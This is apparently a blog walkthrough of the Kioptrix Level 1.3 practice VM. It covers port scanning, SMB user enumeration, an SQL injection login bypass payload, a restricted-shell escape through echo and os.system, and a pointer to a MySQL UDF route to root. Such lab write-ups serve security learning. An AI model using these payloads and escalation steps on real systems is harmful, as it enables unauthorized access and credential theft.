Level 4 time 😀😀. Hope these are getting better after doing a few of these
Done a few of these now so I hope things are getting better by now. Please let me know your thoughts in the comments.
Name: Kioptrix: Level 1.3 (#4)
Date release: 8 Feb 2012
Author: Kioptrix
Series:Kioptrix
Web page: http://www.kioptrix.com/blog/?p=604
Vulnhub: https://www.vulnhub.com/entry/kioptrix-level-13-4,25/
ARP
netdiscover
ping
ping 192.168.0.24
TCP
nmap -sS -A -sC -sV -O -p0- 192.168.0.24 -oA nmap_tcp_full_verOSscript
UDP
nmap -sU -n 192.168.0.24 -oA nmap_udp_def
22 - ssh
ssh 192.168.0.24
80 - http
LigGoat secure Login Copyright (c) 2013!
445 - SMB
enum4linux 192.168.0.24
======================================
| OS information on 192.168.0.24 |
======================================
[+] Got OS info for 192.168.0.24 from smbclient: Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]
=============================
| Users on 192.168.0.24 |
=============================
user:[nobody] rid:[0x1f5]
user:[robert] rid:[0xbbc]
user:[root] rid:[0x3e8]
user:[john] rid:[0xbba]
user:[loneferret] rid:[0xbb8]
=========================================
| Share Enumeration on 192.168.0.24 |
=========================================
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]
[+] Attempting to map shares on 192.168.0.24
//192.168.0.24/print$ Mapping: DENIED, Listing: N/A
//192.168.0.24/IPC$ [E] Can't understand response:
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
Password Complexity: Disabled
Minimum Password Length: 0
S-1-22-1-1000 Unix User\loneferret (Local User)
S-1-22-1-1001 Unix User\john (Local User)
S-1-22-1-1002 Unix User\robert (Local User)
S-1-5-21-2529228035-991147148-3991031631-1000 KIOPTRIX4\root (Local User)
S-1-5-21-2529228035-991147148-3991031631-501 KIOPTRIX4\nobody (Local User)
Starting with the webapp. Supplying the username and password fields with a tick ' gives us a SQL error suggesting SQL injection attack here.
taking this a step further using the usernames found from the enum4linux output and injecting a true MYSQL statement into the password field to try and login
Username: John
Password: ' OR 1=1 #
We can login 😎
Johns password is there for the taking.
I logged in again with the same technique to get roberts password
Not much else we can do with the LigGoat so i moved on the try and login to SSH with the creds obtained.
We can login as John :D
After trying to move around I was kicked out . The same was experience as Robert
After a while playing with the limited shell and research
Exploiting the echo command we break out into a bash shell
echo os.system(‘/bin/bash’)
Now we need to get root
Looking around the system and in /var/www
Inside the file checklogin.php with clear-text login creds 🗝️ 🗝️ 🗝️
Theres no root password either.
Now we can jump into mysql
Got a little stuck here and banged my head against a wall for a bit. I found the following guide https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/
had a quick look for the file needed to do the business
looks good. followed the guide and got root 😎 😎 😎
Never underestimate and forget the power of google. Step away from the problem for a while use google. Dont give up :D
Hope this was useful.
Please follow me 